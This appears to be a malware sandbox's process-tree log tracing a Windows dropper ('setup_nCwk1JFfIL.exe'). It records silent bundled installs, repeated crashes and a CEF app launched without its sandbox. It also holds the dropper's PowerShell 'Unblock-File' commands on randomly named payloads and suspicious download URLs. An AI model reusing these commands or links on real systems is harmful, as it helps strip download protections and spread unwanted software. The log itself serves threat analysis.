"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --mojo-platform-channel-handle=7156 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:2140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://soneremonasez.shop/a5de9dac0ab546c138734c4ec0744544rbCg5bRGdGoqe/NXnCPiGI/Y60qXzHoGvIeP
2⤵
PID:6680

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:2888

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4140,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=4312 /prefetch:8
1⤵
PID:4676

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --field-trial-handle=3888,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=4312 /prefetch:1
1⤵
PID:5988

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --field-trial-handle=4272,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:1
1⤵
PID:5340

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --field-trial-handle=3700,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:1
1⤵
PID:5952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=5320,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:8
1⤵
PID:5484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --field-trial-handle=5500,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:8
1⤵
PID:5236

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --field-trial-handle=5928,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:1
1⤵
PID:5744

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --field-trial-handle=6212,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:8
1⤵
PID:6000

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --field-trial-handle=5904,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:1
1⤵
PID:5660

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --field-trial-handle=5040,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:1
1⤵
PID:3684

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --field-trial-handle=6224,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:8
1⤵
PID:2420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --field-trial-handle=4964,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6536 /prefetch:1
1⤵
PID:1600

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --field-trial-handle=6884,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6936 /prefetch:1
1⤵
PID:5056

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --field-trial-handle=7084,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=7088 /prefetch:1
1⤵
PID:1080

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --lang=en-US --service-sandbox-type=service --field-trial-handle=6828,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=7272 /prefetch:8
1⤵
PID:6176

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --field-trial-handle=6256,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6904 /prefetch:8
1⤵
PID:6380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --lang=en-US --service-sandbox-type=service --field-trial-handle=6924,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=7484 /prefetch:8
1⤵
PID:6456

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --field-trial-handle=7400,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=7492 /prefetch:8
1⤵
PID:6536

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6700

C:\Users\Admin\Desktop\setup_nCwk1JFfIL.exe
"C:\Users\Admin\Desktop\setup_nCwk1JFfIL.exe"
1⤵
PID:6944

C:\Users\Admin\AppData\Local\Temp\is-GUKOI.tmp\setup_nCwk1JFfIL.tmp
"C:\Users\Admin\AppData\Local\Temp\is-GUKOI.tmp\setup_nCwk1JFfIL.tmp" /SL5="$40280,6651081,56832,C:\Users\Admin\Desktop\setup_nCwk1JFfIL.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:7036

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /F /TN "Lame_WAV_6303"
3⤵
PID:5336

C:\Users\Admin\AppData\Local\Lame WAV\lamewav32_64.exe
"C:\Users\Admin\AppData\Local\Lame WAV\lamewav32_64.exe" 5baf62da20ca63be9b5b87ea2d5661df
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:6204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 920
4⤵
- Program crash
PID:6492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 928
4⤵
- Program crash
PID:6680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1008
4⤵
- Program crash
PID:5536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1128
4⤵
- Program crash
PID:6748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1168
4⤵
- Program crash
PID:3972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1176
4⤵
- Program crash
PID:5152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1228
4⤵
- Program crash
PID:7084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1260
4⤵
- Program crash
PID:2784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1268
4⤵
- Program crash
PID:2456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1292
4⤵
- Program crash
PID:2748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1044
4⤵
- Program crash
PID:6868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1700
4⤵
- Program crash
PID:6432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1596
4⤵
- Program crash
PID:5660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1428
4⤵
- Program crash
PID:7028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1700
4⤵
- Program crash
PID:6432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1836
4⤵
- Program crash
PID:6652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2056
4⤵
- Program crash
PID:4052

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://workupload.com/file/vEWB7jfpGLf
4⤵
PID:6900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1756
4⤵
- Program crash
PID:5564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1800
4⤵
- Program crash
PID:6148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1816
4⤵
- Program crash
PID:6332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1016
4⤵
- Program crash
PID:4820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1308
4⤵
- Program crash
PID:4616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1720
4⤵
- Program crash
PID:6860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1804
4⤵
- Program crash
PID:2784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1812
4⤵
- Program crash
PID:5608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1948
4⤵
- Program crash
PID:5480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1940
4⤵
- Program crash
PID:6052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2096
4⤵
- Program crash
PID:5308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1932
4⤵
- Program crash
PID:6096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1816
4⤵
- Program crash
PID:3024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1988
4⤵
- Program crash
PID:5628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2096
4⤵
- Program crash
PID:6560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1988
4⤵
- Program crash
PID:5068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2144
4⤵
- Program crash
PID:6804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2108
4⤵
- Program crash
PID:6148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2180
4⤵
- Program crash
PID:5524

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\ec0zgKl2\oix6tKlzl4L84j5L.exe"
4⤵
PID:6212

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\ec0zgKl2\oix6tKlzl4L84j5L.exe"
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2136
4⤵
- Program crash
PID:6096

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\IW3LrGRR\ZRHdnyKeWQxYPNw8.exe"
4⤵
PID:7232

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\IW3LrGRR\ZRHdnyKeWQxYPNw8.exe"
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:7596

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\sJCkSmQy\2TXuAZC7XG3JMk46ppaM.exe"
4⤵
PID:7296

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\sJCkSmQy\2TXuAZC7XG3JMk46ppaM.exe"
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:7664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2200
4⤵
- Program crash
PID:7728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2224
4⤵
- Program crash
PID:7972

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\8noFbsXv\Ia9xpKRxIW6YtI.exe"
4⤵
PID:8036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\8noFbsXv\Ia9xpKRxIW6YtI.exe"
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:8144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2252
4⤵
- Program crash
PID:8124

C:\Users\Admin\AppData\Local\Temp\ec0zgKl2\oix6tKlzl4L84j5L.exe
C:\Users\Admin\AppData\Local\Temp\ec0zgKl2\oix6tKlzl4L84j5L.exe --silent --allusers=0
4⤵
- Executes dropped EXE
PID:7244

C:\Users\Admin\AppData\Local\Temp\7zSC4C8FC8A\setup.exe
C:\Users\Admin\AppData\Local\Temp\7zSC4C8FC8A\setup.exe --silent --allusers=0 --server-tracking-blob=ZTc0ZDYzMmU5ZWExNzczYjRiMjViNjJkZWE5ODlmMzEyNzUzMDA4ZTI5ZWQxZTMwYTZkZDBlNmIxODY3NWQxZjp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1SU1RQJnV0bV9jYW1wYWlnbj1vcDEzMiIsInRpbWVzdGFtcCI6IjE3MTk3NzYzOTMuNTkzNCIsInVzZXJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTguMC4wLjAgU2FmYXJpLzUzNy4zNiIsInV0bSI6eyJjYW1wYWlnbiI6Im9wMTMyIiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoiUlNUUCJ9LCJ1dWlkIjoiZThkNTk0MTMtYzZjZC00YThlLTg5MTItODU2MzdiNzU2MmMxIn0=
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
PID:3752

C:\Users\Admin\AppData\Local\Temp\7zSC4C8FC8A\setup.exe
C:\Users\Admin\AppData\Local\Temp\7zSC4C8FC8A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=111.0.5168.43 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x6d56a128,0x6d56a134,0x6d56a140
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:7896

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5796

C:\Users\Admin\AppData\Local\Temp\7zSC4C8FC8A\setup.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC4C8FC8A\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=3752 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240630194010" --session-guid=d7d29797-f42f-46b9-857d-debb5ad3547d --server-tracking-blob=OWIxNmMwNjdiNjMxNDE2MjY4MGMzODA5NGUyMmI4MGFhYzE5MWY2ZGZhZTVkNWNlYmNhYWFiNmRkMzBkOGY2NDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1SU1RQJnV0bV9jYW1wYWlnbj1vcDEzMiIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcxOTc3NjM5My41OTM0IiwidXNlcmFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExOC4wLjAuMCBTYWZhcmkvNTM3LjM2IiwidXRtIjp7ImNhbXBhaWduIjoib3AxMzIiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJSU1RQIn0sInV1aWQiOiJlOGQ1OTQxMy1jNmNkLTRhOGUtODkxMi04NTYzN2I3NTYyYzEifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=BC04000000000000
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
PID:8188

C:\Users\Admin\AppData\Local\Temp\7zSC4C8FC8A\setup.exe
C:\Users\Admin\AppData\Local\Temp\7zSC4C8FC8A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=111.0.5168.43 --initial-client-data=0x320,0x330,0x334,0x2fc,0x338,0x6ca1a128,0x6ca1a134,0x6ca1a140
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:8008

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406301940101\assistant\Assistant_111.0.5168.25_Setup.exe_sfx.exe
"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406301940101\assistant\Assistant_111.0.5168.25_Setup.exe_sfx.exe"
6⤵
- Executes dropped EXE
PID:7336

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406301940101\assistant\assistant_installer.exe
"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406301940101\assistant\assistant_installer.exe" --version
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:7476

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406301940101\assistant\assistant_installer.exe
"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406301940101\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=111.0.5168.25 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0xf39f88,0xf39f94,0xf39fa0
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6156

C:\Users\Admin\AppData\Local\Temp\sJCkSmQy\2TXuAZC7XG3JMk46ppaM.exe
C:\Users\Admin\AppData\Local\Temp\sJCkSmQy\2TXuAZC7XG3JMk46ppaM.exe
4⤵
- Executes dropped EXE
PID:6484

C:\Users\Admin\AppData\Local\Temp\is-H561T.tmp\2TXuAZC7XG3JMk46ppaM.tmp
"C:\Users\Admin\AppData\Local\Temp\is-H561T.tmp\2TXuAZC7XG3JMk46ppaM.tmp" /SL5="$E0354,4692868,54272,C:\Users\Admin\AppData\Local\Temp\sJCkSmQy\2TXuAZC7XG3JMk46ppaM.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:6124

C:\Users\Admin\AppData\Local\Morphology VIXEN Junior\vixenjunior32.exe
"C:\Users\Admin\AppData\Local\Morphology VIXEN Junior\vixenjunior32.exe" -i
6⤵
- Executes dropped EXE
PID:8104

C:\Users\Admin\AppData\Local\Morphology VIXEN Junior\vixenjunior32.exe
"C:\Users\Admin\AppData\Local\Morphology VIXEN Junior\vixenjunior32.exe" -s
6⤵
- Executes dropped EXE
PID:7856

C:\Users\Admin\AppData\Local\Temp\IW3LrGRR\ZRHdnyKeWQxYPNw8.exe
C:\Users\Admin\AppData\Local\Temp\IW3LrGRR\ZRHdnyKeWQxYPNw8.exe /sid=3 /pid=1090
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:7400

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
5⤵
PID:4884

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
6⤵
PID:6056

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --no-sandbox --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2972 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:2
7⤵
PID:5956

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3236 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:8
7⤵
PID:5816

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3248 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:8
7⤵
PID:2252

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
